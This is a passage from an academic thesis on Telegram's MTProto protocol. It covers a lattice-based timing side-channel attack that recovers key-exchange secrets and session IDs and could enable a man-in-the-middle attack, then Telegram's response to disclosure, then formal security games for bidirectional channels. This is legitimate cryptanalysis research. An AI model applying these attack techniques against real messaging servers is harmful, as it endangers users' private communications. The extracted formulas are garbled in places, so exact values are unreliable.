we consider the lattice spanned by the rows of L2 with

L2 B

©«

21592 0 0 0 2` (pr ) · s ′0 · · · 2` (pr ) · s ′µ′−1 0
0 21688 0 0 21880 · · · 0 0

0 0 . . . 0 0 . . . 0 0
0 0 0 21688 0 · · · 21880 0
0 0 0 0 N ′ · · · 0 0

0 0 0 0 0 . . . 0 0
0 0 0 0 0 · · · N ′ 0
0 0 0 0 t ′0 · · · t ′µ′−1 21848

ª®®®®®®®®®®®®®®®®¬

.

18Technically, given the knowledge of ℎr and that it is a hash of the remaining inputs save pr the information theory
limit does not apply and algorithms exist to exploit this additional information [AH21]. However, for simplicity we forgo
a discussion of this variant here.

19Indeed, we are only interested in 64 bits of n′, in particular n′ [0 : 64].
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As before, multiplying L2 from the left by(
n′ −σ′0 . . . −σ

′
µ′−1 ∗ . . . ∗ 1

)
shows that this lattice contains a vector(

21592 · n′ −21688 · σ′0 . . . −2
1688 · σ′µ′−1 d ′0 . . . d ′µ′−1 21848

)
where all entries are ≈ 21848 and thus the vector has Euclidean norm ≈

√
2 µ′ + 2 · 21848. We write “≈”

instead of “≤” because s ′i · pr may overflow 21848. Picking µ′ = 256/32 + 1 = 9 gives an instance where
the target vector is expected to be shorter than the Gaussian heuristic predicts. However, due to our
choice of s ′i , finding a shortest vector might not recover n′ exactly but only the top 256−ε bits for some
small ε. We verified this behaviour with our proof of concept implementation which consistently
recovers all but ε ≈ 4 bits. To recover the remaining bits, we simply perform exhaustive search by
computing SHA-1(N , p, q, n, s, n′ +Δn′) for all candidates for Δn′ and comparing against ℎr . Overall,
under our assumptions, using ≈ (6 + 9) · 232 noise-free queries and a trivial amount of computation
we can recover n′ from Telegram’s key exchange. This in turn allows to compute the initial salt. Of
course, timing side channels are noisy, suggesting a potentially significantly larger number of queries
would be needed to recover sufficiently clean signals for the lattice reduction stage.

Extension to other leakage patterns. Our approach can be adapted to check other leakage patterns,
e.g. targeting the values in the L(·) fields. For example, recall that the Telegram servers require
1 ≤ L(N ) ≤ 16. We do not know what the servers do when this condition is violated, but discuss
possible behaviours:

• Assume the code terminates early, skipping the SHA-1 call. This would result in a timing side
channel leaking that the three most significant bits of L(N ) are zero when the SHA-1 call is triggered.

• Assume the code does not terminate early but the Telegram servers feed between 88 and 104 bytes to
SHA-1. This would not produce a timing leak. That is, SHA-1 hashes data in blocks with its running
time depending on the number of blocks processed. It has a block size of 64 bytes, and its padding
algorithm (i.e. see SHA-pad in Fig. 2.4) insists on adding at least 8 bytes of length and 1 byte of padding.
Thus, up to 55 full bytes are hashed as one block, then 119, 183, and 247; see [AP13, MBA+20] for
works exploiting this. Telegram’s format checking restricts the accepted length to between 88 and 104
bytes, i.e. all valid payloads lead to calls to the SHA-1 compression function on two blocks.

• Assume the code performs a dummy SHA-1 call on all data received, say, minus the received
digest. This would lead to calls to the SHA-1 compression function on three blocks and a timing side
channel leaking the three most significant bits of L(N ), by distinguishing between L(N ) > 16 and
L(N ) ≤ 16.
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Now, suppose Telegram’s servers do leak whether the three most significant bits of L(N ) are zero
without first checking the header. On the one hand, this would reduce the query complexity because
the target event is now expected to happen with probability 2−3. On the other hand, this increases
the cost of lattice reduction, as we now need to find shortest vectors in lattices of larger dimension.
Information theoretically, we need at least m = 160/3 samples to recover ℎr and thus need to consider
finding shortest vectors in a lattice of dimension 110, which is feasible [AH21]. For n′ we can use
the same tactic as above for “slicing up” x into n′ and pr to slice up n′ into sufficiently small chunks.
Alternatively, noting that we only need to recover 64 bits of n′ we can simply consider a lattice of
dimension ≈ 45, where finding shortest vectors is easy.

See Section 5.6.1 for developments in this regard since this chapter was originally published.

5.5.2 Recovering the session ID

Given the salt, we can recover the session ID using a simple guess and verify approach exploiting the
same timing side channel as in Section 5.4. Here, we simply run our attack from Section 5.4 but this
time we use a known plaintext block mi in order to validate our guesses about the value of m1 (which
is now partially unknown). That is, for all 264 choices of the session ID, and given the recovered salt
value, we can construct a candidate for m1. Then, for known mi−1,mi , we construct c1 ∥ c∗ as before,
with c∗ = mi−1 ⊕ ci ⊕ m1. If our guess for the session ID was correct, then decrypting c1 ∥ c∗ results
in a plaintext having a second block of the form

m∗ = E−1k (c
∗ ⊕ m1) ⊕ c1 = E−1k (mi−1 ⊕ ci) ⊕ c1 = mi ⊕ ci−1 ⊕ c1.

We can then check if the observed behaviour on processing the ciphertext is consistent with the
known value mi ⊕ ci−1 ⊕ c1. If our choice of the session ID (and therefore m1) is correct, this will
always be the case. If our guess is incorrect then m∗ can be assumed to be uniformly random.

In more detail, assume our timing side channel leaks 32 bits of plaintext from the length field check.
Let m ( j )i and c ( j )i be the i-th block in the j -th plaintext and ciphertext respectively. Collect three
plaintext-ciphertext pairs such that

m ( j )i ⊕ c ( j )i−1 ⊕ c ( j )1 , (0 ≤ j < 3)

passes the length check.20 For each guess of the session ID submit three ciphertexts containing
c∗,( j ) = m ( j )i−1 ⊕ c

( j )
i ⊕m

( j )
1 as the second block. If our guess for m1 was correct, then all three will pass

the length check which is leaked to us by the timing side channel. If our guess for m1 was incorrect,
then E−1k (c

∗,( j ) ⊕ m1) will output a random block, so that E−1k (c
∗,( j ) ⊕ m1) ⊕ c1 passes the length

check with probability 2−32. Thus, all three length checks will pass with probability 2−96. In other

20A different index i can be used within each ciphertext.
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words, the probability of a false positive is upper-bounded by 264 · 2−96 = 2−32 (i.e. in the worst case
we will check and discard 264 − 1 possible values of the session ID before finding the correct one).

5.5.3 Breaking server authentication

Recall from Fig. 5.5 that the k, iv pair used to encrypt g a and g b is derived from s (sent in the clear)
and n′. Since the attack in Section 5.5.1 recovers n′, it can be immediately extended into a MitM attack
on the Diffie-Hellman key exchange. That is, knowing n′ the attacker can compose the appropriate
IGE ciphertext containing some g a′ of its choice where it knows a′ (and similarly replace g b coming
from the client with g b ′ for some b ′ it knows). Both the client and the server will thus complete their
respective key exchanges with the adversary rather than with each other, allowing the adversary to
break confidentiality and integrity of their communication. However, even in the presence of the side
channel that enabled the attack in Section 5.5.1, the MitM attack is more complicated due to the need
to complete it before the session between the client and the server times out. This may be feasible
under some of the alternative leakage patterns discussed earlier but unlikely to be realistic when > 232

requests are required to recover n′.

5.6 Discussion

In this chapter,we have first presented attacks against the symmetric encryption in Telegram. These
highlight the gap between the variant of MTProto 2.0 that we will model in Chapter 6 and Telegram’s
implementations. While the reordering attack in Section 5.3.1 and the attack on IND-CPA security in
Section 5.3.2 were possible against the implementations that we studied, they could easily be avoided
without making changes to the on-the-wire format of MTProto, i.e. by only changing processing in
clients and servers. After disclosing our findings, Telegram informed us that they have changed this
processing accordingly.

Our attacks in Sections 5.4 and 5.5 are attacks on the implementation of both the symmetric channel
and the key exchange in Telegram. Protocol design has a significant impact on the ease with which
secure implementations can be achieved. Here, the decision in MTProto to adopt Encrypt & MAC
results in the potential for a leak that we can exploit in specific implementations. This “brittleness” of
MTProto is of particular relevance due to the surfeit of implementations of the protocol, and the fact
that security advice may not be heeded by all authors, as we showed with our msg_length attack in
Section 5.4. Here, Telegram’s apparent ambition to provide TDLib as a one-stop solution for clients
across platforms would allow security researchers to focus their efforts. We thus recommend that
Telegram replaces the low-level cryptographic processing in all official clients with a carefully vetted
library. Note that the security of the Telegram ecosystem does not stop with official clients – as
the recent work of [vAP22] shows, many third-party client implementations are also vulnerable to
attacks.

82



5.6 Discussion

5.6.1 Developments since publication

Telegram response. While Telegram updated its clients in response to our disclosure, there was
disagreement on the applicability of some of the attacks. The reordering attack in Section 5.3.1 was
mitigated at application level with the justification that MTProto should behave more like DTLS
with respect to ordering properties. Further, the Telegram developers rejected the validity of our
IND-CPA attack in Section 5.3.2 with the claim that our attack could be applied to any protocol
supporting retransmissions, including TCP [Tel21g]. This is, of course, a misunderstanding – there is
a difference between resending the same ciphertext on a network level (as in TCP) and producing
the same ciphertext in two iterations of a stateful encryption protocol (as in MTProto with the
re-encryption feature). However, Telegram did implement a change to ensure that re-encryption does
not reuse state (i.e. use a fresh msg_id every time).

255-byte check. It was pointed out to us by other researchers [AR21] that the key exchange attack in
Section 5.5 could have used another, more powerful leakage pattern. We had overlooked that the RSA
payloads were always 255 and not 256 bytes long, and the server had checked whether this was the case.
This check alone would have enabled an attack similar to Manger’s attack on RSA-OAEP [Man01].
Together with the check on the header that we used in our attack, it would have allowed to reduce the
number of queries required to mount the attack in practice (though likely not below the limit needed
for a MitM). In either case, Telegram had changed this part of the MTProto key exchange protocol in
response to our disclosure, mitigating against this particular class of attacks.
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Telegram’s crypto is pretty weird, and potentially insecure - no doubt.

— comment on Hacker News

MTProto uses an original approach.

— Telegram, FAQ for the Technically Inclined
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In this chapter, we study the use of symmetric cryptography in the MTProto 2.0 protocol, Telegram’s
equivalent of the TLS record protocol. We formally and in detail model a slight variant of Telegram’s
“record protocol” and prove that it achieves security in a suitable bidirectional secure channel model, albeit
under unstudied assumptions; this model itself advances the state-of-the-art for secure channels. Our
modelling deviation from MTProto is motivated by the results of Chapter 5. In totality, our results provide
the first comprehensive study of MTProto’s use of symmetric cryptography.

6.1 Motivation

In Section 5.1 of the previous chapter, we have introduced Telegram and outlined what makes the
study of the security of its cloud chats a worthwhile goal. The previous chapter focused on attacks; in
this chapter, we provide proofs of security for a fixed version of the protocol. We stress that as in the
previous chapter, when we write “the current version of MTProto”, we refer to the versions prior to
the updated versions that Telegram released in response to our work.

Contributions. We provide an in-depth study of how Telegram uses symmetric cryptography inside
MTProto for cloud chats. We give three distinctive contributions: our security model for secure
channels, the formal model of our variant of MTProto and our security proofs for the formal model
of MTProto.

Security model. Starting from the observation that MTProto entangles the keys of the two channel
directions, in Section 6.2 we develop a bidirectional security model for two-party secure channels
that allows an adversary full control over generating and delivering ciphertexts from/to either party
(client or server). The model assumes that the two parties start with a shared key and use stateful
algorithms. Our security definitions come in two flavours, one capturing confidentiality, the other
integrity. We also consider a combined security notion and its relationship to the individual notions.
Our formalisation is broad enough to consider a variety of different styles of secure channels – for
example, allowing channels where messages can be delivered out-of-order within some bounds, or
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where messages can be dropped (neither of which we consider appropriate for secure messaging).
This caters for situations where the secure channel operates over an unreliable transport protocol, but
where the channel is designed to recover from accidental errors in message delivery as well as from
certain permitted adversarial behaviours.

This is done technically by introducing the concept of support functions, inspired by the support
predicates introduced by [FGJ20] but extending them to cater for a wider range of situations. Here,
the core idea is that a support function operates on the transcript of messages and ciphertexts sent
and received (in both directions) and its output is used to decide whether an adversarial behaviour
– say, reordering or dropping messages – counts as a “win” in the security games. It is also used to
define a suitable correctness notion with respect to expected behaviours of the channel.

As a final feature, our secure channel definitions allow the adversary complete control over all
randomness used by the two parties, since we can achieve security against such a strong adversary in
the stateful setting. This decision reflects a concern about Telegram clients expressed by Telegram
developers [Tel21c].

Formalmodel of MTProto. In Section 6.3, we provide a detailed formal model of Telegram’s symmetric
encryption. Our model is computational and does not abstract away the building blocks used in
Telegram. This in itself is a non-trivial task as no formal specification exists and behaviour can only
be derived from official (but incomplete) documentation and from observation; moreover different
clients do not have the same behaviour. Thus, to arrive at our model, we had to make several decisions
on what behaviour to model and where to draw the line of abstraction.

Formally, we define an MTProto-based bidirectional channel MTP-CH as a composition of multiple
cryptographic primitives. This allows us to recover a variant of the real-world MTProto protocol by
instantiating the primitives with specific constructions, and to study whether each of them satisfies
the security notions that are required in order to achieve the desired security of MTP-CH (this is
the topic of Sections 6.4 to 6.6). This allows us to work at two different levels of abstraction, and
significantly simplifies the analysis. However, we emphasise that our goal is to be descriptive, not
prescriptive, i.e. we do not suggest alternative instantiations of MTP-CH.

Proof of security. We then prove in Section 6.7 that our slight variant of MTProto achieves channel
confidentiality and integrity in our model, under certain assumptions on the components used in its
construction. As described in the previous chapter in Section 5.1, Telegram has implemented our
proposed alterations so that there can be some assurances about MTProto as currently deployed.1

We use code-based game-hopping proofs in which the analysis is modularised into a sequence of small
steps that can be individually verified. As well as providing all details of the proofs, we also give

1Clients still differ in their implementation of the protocol and in particular in payload validation, which our model
does not capture.
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high-level intuitions. Significant complexity arises in the proofs from two sources: the entanglement
of keys used in the two channel directions, and the detailed nature of the model of MTProto that we
use (so that our proof rules out as many attacks as possible).

We eschew an asymptotic approach in favour of concrete security analysis. This results in security
theorems that quantitatively relate the confidentiality and integrity of MTProto as a secure channel to
the security of its underlying cryptographic components. Our main security results, Theorems 1 and 2
and Corollaries 1 and 2, provide confidentiality and integrity bounds containing terms equivalent to
approximately q/264, where q is the number of queries an attacker makes.

However, our security proofs rely on several assumptions about cryptographic primitives that, while
plausible, have not been considered in the literature. Due to the way Telegram makes use of SHA-256
as a MAC algorithm and as a KDF, we have to rely on the novel assumption that the block cipher
SHACAL-2 underlying the SHA-256 compression function is a leakage-resilient PRF under related-key
attacks, where “leakage-resilient” means that the adversary can choose a part of the key. Our proofs
rely on two distinct variants of such an assumption (see Section 6.5). We show that these assumptions
hold in the ideal cipher model (see Appendix D.3), but further cryptanalysis is needed to validate
them for SHACAL-2. For similar reasons, we also require a dual-PRF assumption of SHACAL-2. We
stress that such assumptions are likely necessary for our or any other computational security proofs
for MTProto. This is due to the specifics of how MTProto uses SHA-256 and how it constructs keys
and tags from public inputs and overlapping key bits of a master secret. Given the importance of
Telegram, these assumptions provide new, significant cryptanalysis targets as well as motivate further
research on related-key attacks.

Besides using SHA-256 as a MAC algorithm and a KDF, MTProto also uses SHA-1 to compute a key
identifier. This does not lead to length-extension attacks because in each use case either the input is
required to have a fixed length, or the output gets truncated. The latter technique was previously
studied as ChopMD [CDMP05] and employed to build AMAC [BBT16]. But rather than applying
these results to show that the design of the MAC algorithm prevents forgeries, our proofs rely on an
observation that even if length-extension attacks were possible, it would still not lead to breaking
the security of the overall scheme. This is true because the plaintext encoding format of MTProto
mandates the presence of certain metadata in the first block of the encrypted payload.

6.2 Bidirectional channels

In this section, we introduce our formal model capturing the functionality and the security re-
quirements of a secure channel. We first position our work in the context of related literature in
Section 6.2.1. We define our channel in Section 6.2.2 and our support functions in Section 6.2.3. Then,
in Section 6.2.4 we give our definitions of channel security. Finally, in Section 6.2.5 we define message
encoding schemes, which enable us to reason about the security of MTProto in a more modular way.
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6.2.1 Our formal model in the context of prior work

The choice of a cryptographic primitive. Wemodel Telegram’s MTProto protocol as a bidirectional
cryptographic channel. A channel provides a method for two users to exchange messages, and it is
called bidirectional [MP17] when each user can both send and receive messages. A unidirectional
channel provides an interface between two users where only a single user can send messages, and
only the opposite user can receive them. Two unidirectional channels can be composed to build a
bidirectional channel, but some care needs to be taken to establish what level of security is inherited
by the resulting channel [MP17]. A symmetric encryption scheme can be thought of as a special case
of a unidirectional channel; security notions stronger than unforgeability (e.g. resistance to replay
and out-of-order delivery attacks) can be achieved once its encryption and decryption algorithms are
modelled as being stateful [BKN02a, BKN04].

MTProto uses distinct but related secret keys to send messages in the opposite directions on the
channel, so it would not be sufficient to model it as a unidirectional channel. Such an analysis could
miss bad interactions between the two directions.

The choice of a security model. Cryptographic security models normally require that channels
provide strict in-order delivery of all messages. In the unidirectional setting, this means that the receiver
should only accept messages in the same order as they were dispatched by the sender. In particular,
the channel must prevent all attempts to forge, replay, reorder or drop messages.2 In the bidirectional
setting, in-order delivery is required to hold separately in either direction of communication.

The current version of MTProto 2.0 does not enforce strict in-order delivery. It determines whether a
successfully decrypted ciphertext should be accepted based on a complex set of rules. In particular,
it happens to allow message reordering (see Section 5.3.1). We consider that a vulnerability. So
in Section 6.3 we define a slight variant of MTProto 2.0 that enforces strict in-order delivery. Our
security analysis in Section 6.7 is then provided with respect to the fixed version of the protocol.
Nevertheless, we set out to choose a formal model for channels that could also potentially be used to
analyse the the current version of MTProto 2.0. In particular, we chose a model that could express
both strict in-order delivery and the message delivery rules that are used in the current version.3

No prior work on bidirectional channels defines correctness and security notions that could be
used to capture message delivery rules of varied strengths. In the unidirectional setting, [KPB03,
BHMS16] each define a hierarchy of multiple security notions where the weakest notion requires only
unforgeability and the strongest requires strict in-order delivery. The works of [RZ18, FGJ20] define
abstract definitional frameworks for unidirectional channels with fully parametrisable security notions.
In this work, we extend the robust channel framework of [FGJ20], lifting it to the bidirectional setting.

2We study the security of MTProto against an active, on-path attacker as is standard in secure channel models.
3One could modify our construction of the MTProto-based channel from Section 6.3 so that it precisely models the

current version of MTProto 2.0, and adjust our security analysis accordingly. Then it would hold with respect to the relaxed
set of message delivery rules that is used in practice.
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Extending the robust channel framework. The robust channel framework [FGJ20] defines uni-
directional correctness and security notions with respect to an arbitrary support predicate. When
a ciphertext is delivered to the receiver, the corresponding notion uses the support predicate to
determine whether the channel is expected to accept this ciphertext or to reject it, i.e. whether this
ciphertext is currently supported. For example, the notion of correctness in [FGJ20] requires that a
channel accepts and correctly decrypts all supported ciphertexts, whereas their notion of integrity
requires that a channel rejects all ciphertexts that are not supported. The correctness and security
games in [FGJ20] maintain a sequence of ciphertexts that were sent by the sender, and a sequence of
ciphertexts that were received and accepted by the receiver. A support predicate takes both sequences
as input and it can use them to decide whether an incoming ciphertext is supported.

We lift the robust channel framework [FGJ20] to the bidirectional setting, and we significantly extend
it in other ways. Most importantly, our framework uses more information to determine whether
an incoming ciphertext is supported. In particular, we define our correctness and security games
to maintain a support transcript for each of the two users. A user’s support transcript represents a
sequence of events, each entry describing an attempt to send or to receive a message. More precisely,
each entry can be thought of as describing one of the following events (stated in terms of some specific
plaintext m and/or ciphertext c ): “sent c that encrypts m”, “failed to send m”, “received c , accepted
it, and decrypted it as m”, “received c and rejected it”.

In our framework, the support transcripts are used by a support function; it extends the concept
of the support predicate from [FGJ20]. Given the support transcripts of both users as input, a
support function prescribes the behaviour of a channel when a new ciphertext is delivered to either
user. A support function either determines that the incoming ciphertext must be rejected, or it
determines that the incoming ciphertext must be accepted and a specific plaintext value must be
obtained upon decrypting this ciphertext. For example, our notion of correctness is similar in spirit
to that of [FGJ20]; the core difference is in how these notions determine whether a specific ciphertext
was decrypted “correctly”. In our framework, the output of a support function prescribes that a
specific plaintext value must be obtained, whereas in [FGJ20] the correctness game builds a lookup
table to determine that value.

The above example provides an intuition that by defining our support transcripts to contain plaintext
messages, we obtain simpler correctness and security definitions compared to [FGJ20]. On another
hand, there may be a trade-off between the different parts of the formalism: some complexity that is
removed from the correctness and security games might be relegated to the step of specifying and
analysing a support function.

Related work on messaging. A recent line of work uses channels to study the best achievable
security of instant messaging between two users. A limited, unidirectional case was first considered
by [BSJ+17]; follow-up work uses bidirectional channels [JS18, JMM19, ACD19, CDV21]. The focus
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is on achieving strong forward security and post-compromise security guarantees in the presence of
an attacker that can compromise secret states of the users. With the exception of [ACD19], all of this
work models channels that are required to provide strict in-order message delivery. In contrast, the
immediate decryption-aware channel of [ACD19] effectively allows message drops but mandates that
the dropped messages can later be delivered and retroactively assigned to their correct positions in the
communication transcript. Any of these bidirectional models except [ACD19] could be simplified
(to not require advanced security properties) and used for a formal analysis of our MTProto-based
channel from Section 6.3. None of these models would be able to capture the correctness and security
properties of MTProto 2.0 as it is currently implemented due to its relaxed message delivery rules.

6.2.2 Channel definitions

As in Section 5.2, we refer to the two users of a channel as I and R, which represent the client and
the server respectively. We use u ∈ {I,R} as a variable for an arbitrary user and u for the other user,
meaning u denotes the sole element of {I,R} \ {u}. We use stu to represent the internal state of the
user u. Since the main focus of this chapter is to study the symmetric encryption of MTProto, we let
a channel use an initialisation algorithm to abstract away the key agreement.

Definition 14 (Channel). A channel CH specifies the algorithms CH.Init, CH.Send and CH.Recv,
where CH.Recv is deterministic; the syntax is shown in Fig. 6.1. Associated to CH is a message
space CH.MS and a randomness space CH.SendRS of CH.Send. The initialisation algorithm
CH.Init returns I’s and R’s initial states stI and stR . The sending algorithm CH.Send takes stu for
some u ∈ {I,R}, a message m ∈ CH.MS, and auxiliary information aux to return the updated
state stu and a ciphertext c , where c = ⊥ indicates a failure to send. We may surface random coins
r ∈ CH.SendRS as an additional input to CH.Send. The receiving algorithm CH.Recv takes stu, c
and aux to return the updated state stu and a message m ∈ CH.MS ∪ {⊥}, where m = ⊥ indicates
a failure to recover a message.

(stI, stR) ←$ CH.Init()
(stu, c) ← CH.Send(stu,m, aux; r)
(stu,m) ← CH.Recv(stu, c, aux)

Figure 6.1. Syntax of the constituent algorithms of a channel CH.

Our channel definition reflects some unusual choices that are necessary to model the MTProto
protocol. The abstract auxiliary information field aux will be used to associate timestamps to each sent
and received message.4 It should not be thought of as an associated data that needs to be authenticated;
we do not model associated data. Also note that the sending algorithm CH.Send is randomised, but
a stateful channel in general does not need randomness to achieve basic security notions. We only

4Our formal model of MTProto in Section 6.3.2 leaves the aux field unused. We only use the aux field in Appendix D.4
where we expand our model to use message encoding that captures the real-world MTProto protocol more precisely.
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use randomness to faithfully model MTProto, since it uses randomness to determine the length and
contents of message padding. Our correctness and security notions will let an attacker choose arbitrary
random coins, so we surface it as an optional input to the sending algorithm CH.Send.

6.2.3 Support transcripts and functions

In this section, we extend the definitional framework for robust channels from [FGJ20]. First, we
define a support transcript to represent the communication record of a single user. Each transcript
entry describes an attempt to send or to receive a plaintext, ordered chronologically. Second, we
define a support function that uses the support transcripts to decide whether the incoming network
message should be accepted, and if so, which plaintext it corresponds to.

Definition 15 (Support transcript). A support transcript tru for a user u ∈ {I,R} is a list of entries
of the form (op,m, label, aux), where op ∈ {sent, recv}. An entry with op = sent indicates that
the user u attempted to send a network message which is identified by its support label label
and which encrypts or encodes the message m with auxiliary information aux. An entry with
op = recv indicates that the user u received a network message identified by label with auxiliary
information aux and used it to recover a message m.

A support transcript is not intended to surface the implementation details of the primitive that is
used for communication. Our framework treats each network message as a mere label that can be
observed to be sent by a user in response to some plaintext input. One might subsequently observe
the same label being taken as input by the opposite user, resulting in some plaintext output. If the
scheme used for the two-user communication guarantees that all such labels are unique, an observer
might be able to use the equality of exchanged labels across both support transcripts to determine
whether a message replay, reordering or drop occurred. The MTProto-based scheme that we study in
this chapter produces distinct ciphertexts, and our framework uses ciphertexts as support labels when
analysing a channel; this will allow us to rely on equality patterns that arise between them.

Support transcripts can include entries of the form (recv,⊥, label, aux) to indicate that the received
network message was rejected, and entries of the form (sent,m,⊥, aux) to indicate that a network
message encrypting the plaintext m could not be sent, e.g. because the channel was terminated. Our
support transcripts are therefore suitable for two-user communication primitives that implement a
wide range of possible behaviours in the event of an error, from terminating after the first failure to
full recovery.

We now define the notion of a support function. We use a support function to prescribe the exact
input-output behaviour of a receiver at any point in a two-user communication process (i.e. we use it
to specify the expected behaviour of a channel’s decryption algorithm or that of a message encoding
scheme’s decoding algorithm, the latter primitive defined in Section 6.2.5). More specifically, a support
function supp determines whether a user u ∈ {I,R} should accept an incoming network message –
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that is associated to a support label label – from the opposite user u, based on the support transcripts
tru, tru of both users. If the network message should be accepted, then supp returns a message m∗

to indicate that u is expected to recover m∗ as a result of accepting it; otherwise supp returns ⊥ to
indicate that the network message should be rejected.

Definition 16 (Support function). A support function supp is a function with the syntax
supp(u, tru, tru, label, aux) → m∗ where u ∈ {I,R}, and tru, tru are support transcripts of the
users u and u respectively. It indicates that the user u is expected to recover the message m∗ from
the incoming network message with the support label label and auxiliary information aux.

In Definition 36, we give the specific support function SUPP with respect to which we will analyse
the security of MTProto 2.0. In Appendix D.1, we formalise two correctness-style properties of a
support function, but we do not mandate that they must always be met. Both properties were also
considered in [FGJ20]. The integrity of a support function requires that it always returns ⊥ if the
queried support label label does not appear in the opposite user’s support transcript tru. The order
correctness of a support function requires that it enforces in-order delivery for each direction between
the two users separately, assuming that each network message is associated to a distinct support label.

6.2.4 Correctness and security of channels

In this section, we formalise channel correctness and channel security. In all of the notions, we allow
the adversary to control the randomness used by the channel’s sending algorithm CH.Send. Channels
are stateful, so they can achieve strong notions of security even when the adversary can control the
randomness used for encryption.

Correctness. First, we formalise what it means for a channel to be correct, parametrising our
definition with respect to a support function.

Definition 17 (Correctness of a channel). Take the correctness game Gcorr
CH,supp,A in Fig. 6.2 de-

fined for a channel CH, a support function supp and an adversaryA. The advantage ofA in break-
ing the correctness of CH with respect to supp is defined as Advcorr

CH,supp (A) B Pr
[
Gcorr

CH,supp,A

]
.

The game Gcorr
CH,supp,A in Fig. 6.2 starts by calling the algorithm CH.Init to initialise the users I and R,

and the adversary is given their initial states. The adversary A gets access to a sending oracle Send
and to a receiving oracle Recv. Calling Send(u,m, aux, r) encrypts the message m with auxiliary
data aux and randomness r from the user u to the other user u; the resulting tuple (sent,m, c, aux) is
added to the sender’s transcript tru. The Recv oracle can only be called on ciphertexts that should
not produce a decryption error according to the behaviour prescribed by the support function supp,
i.e. Recv immediately exits when supp returns m∗ = ⊥. Calling Recv(u, c, aux) thus recovers the
message m∗ from the support function, decrypts the queried ciphertext c into the message m and
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Gcorr
CH,supp,A

1 : win← false
2 : (stI, stR) ←$ CH.Init()
3 : ASend,Recv (stI, stR)
4 : return win

Send(u,m, aux, r)
1 : (stu, c) ← CH.Send(stu,m, aux; r)
2 : tru ← tru ∥ (sent,m, c, aux)
3 : return c

Recv(u, c, aux)
1 : m∗ ← supp(u, tru, tru, c, aux)
2 : if m∗ = ⊥ then return ⊥
3 : (stu,m) ← CH.Recv(stu, c, aux)
4 : tru ← tru ∥ (recv,m, c, aux)
5 : if m ≠ m∗ then win← true
6 : return ⊥

Figure 6.2. Correctness of a channel CH with respect to a support function supp.

adds (recv,m, c, aux) to the receiver’s transcript tru; the game verifies that the decrypted message m
is equal to m∗. If the adversary can cause the channel to output a different m, then the adversary wins.

This game captures the minimal requirement one would expect from a communication channel: that
it succeeds in decrypting incoming ciphertexts in accordance with its specification, with only a limited
possible interference from an adversary. In particular, the adversary is not allowed to test that the
channel appropriately identifies and handles any errors.

Note that the Recv oracle always returns ⊥, but A can use the support function to compute the
value m on its own for as long as the condition m = m∗ has not been false yet.5 Based on the same
condition,A can also use the support function to distinguish whether ⊥was returned becausem∗ = ⊥
or because the end of the code of Recv was reached.

Integrity. Next, we define the integrity of a channel, which is again expressed with respect to a
support function.

Definition 18 (Integrity of a channel). Take the integrity game Gint
CH,supp,A in Fig. 6.3 defined

for a channel CH, a support function supp and an adversary A. The advantage of A in breaking
the INT-security of CH with respect to supp is defined as Advint

CH,supp (A) B Pr
[
Gint

CH,supp,A

]
.

Our integrity game Gint
CH,supp,A in Fig. 6.3 is very similar to the correctness game Gcorr

CH,supp,A in Fig. 6.2,
but with two important distinctions. First, in the integrity game the adversary A no longer gets the

5The initial version of this work defined Recv to always return m. This made the definition stronger, by allowing the
adversary to detect the moment it won the game. Switching between the two alternative definitions does not affect our
proofs, but returning m made it harder to reason about the joint security for channels in Appendix D.2. So for simplicity
we chose to always return ⊥.
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Gint
CH,supp,A

1 : win← false
2 : (stI, stR) ←$ CH.Init()
3 : ASend,Recv

4 : return win

Send(u,m, aux, r)
1 : (stu, c) ← CH.Send(stu,m, aux; r)
2 : tru ← tru ∥ (sent,m, c, aux)
3 : return c

Recv(u, c, aux)
1 : m∗ ← supp(u, tru, tru, c, aux)
2 : (stu,m) ← CH.Recv(stu, c, aux)
3 : tru ← tru ∥ (recv,m, c, aux)
4 : if m ≠ m∗ then win← true
5 : return ⊥

Figure 6.3. Integrity of a channel CH with respect to a support function supp.

initial states of users I and R as input. Second, the receiving oracle Recv now allows all inputs from
the adversaryA, including those that are meant to be rejected according to the support function supp.
These changes reflect the intuition that the adversary A is now also allowed to win by producing an
input such that the channel’s receiving algorithm returns m ≠ ⊥ while the support function returns
m∗ = ⊥, which constitutes a forgery.

Because our notion of integrity is defined with respect to a support function, it can express a variety
of standard and non-standard integrity properties. For example, the equivalent of standard notions
such as the integrity of plaintexts (INT-PTXT) or the integrity of ciphertexts (INT-CTXT) can be
recovered by using suitable support functions.

Confidentiality. Finally, we define the confidentiality of a channel, which corresponds to the
traditional notion of IND-CPA in a stateful setting.

Definition 19 (Confidentiality of a channel). Consider the indistinguishability game Gind
CH,D

in Fig. 6.4 defined for a channel CH and an adversary D. The advantage of D in breaking the
IND-security of CH is defined as Advind

CH (D) B 2 · Pr
[
Gind

CH,D

]
− 1.

The game Gind
CH,D in Fig. 6.4 samples a challenge bit b , and the adversary is required to guess it in

order to win. The adversary D is provided with access to a challenge oracle Send and a receiving
oracle Recv. The adversary can query the challenge oracle Send on inputs u,m0,m1, aux, r to obtain a
ciphertext encrypting the message mb with randomness r from the user u to the user u with auxiliary
information aux. Here, the two messages m0, m1 are required to have the same length. The adversary
can query the receiving oracle Recv on inputs u, c, aux to make the user u decrypt the incoming
ciphertext c from the user u with auxiliary data aux. The goal of this query is to update the receiving
user’s state stu; this is important because the updated state is then used to compute future outputs
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Gind
CH,D

1 : b ←$ {0, 1}
2 : (stI, stR) ←$ CH.Init()
3 : b ′ ←$ DSend,Recv

4 : return b ′ = b

Send(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stu, c) ← CH.Send(stu,mb , aux; r)
3 : return c

Recv(u, c, aux)
1 : (stu,m) ← CH.Recv(stu, c, aux)
2 : return ⊥

Figure 6.4. Indistinguishability of a channel CH.

of queries to the challenge oracle Send when the user u is the sender. The receiving oracle always
discards the decrypted message m and returns ⊥.

Note that if the channel CH has integrity with respect to any support function supp, then the
indistinguishability adversary D can itself use supp to compute all outputs of the receiving oracle
Recv for either choice of the challenge bit b .

Authenticated encryption. In Appendix D.2, we define the authenticated encryption security of a
channel, which simultaneously captures the integrity and indistinguishability notions from above.
We define the joint notion in the all-in-one style of [Shr04, RS06]. We prove that our two separate
security notions together are equivalent to the authenticated encryption security. This serves as a
sanity check for our definitional choices.

6.2.5 Message encoding schemes

We advocate for a modular approach when building cryptographic channels. At its core, a channel
can be expected to have a mechanism that handles the process of encoding plaintexts into payloads
and decoding payloads back into plaintexts. Such a mechanism might need to maintain counters that
store the number of previously encoded and decoded messages. It might add padding to plaintexts,
while possibly encoding their original lengths. It might also embed other metadata into the produced
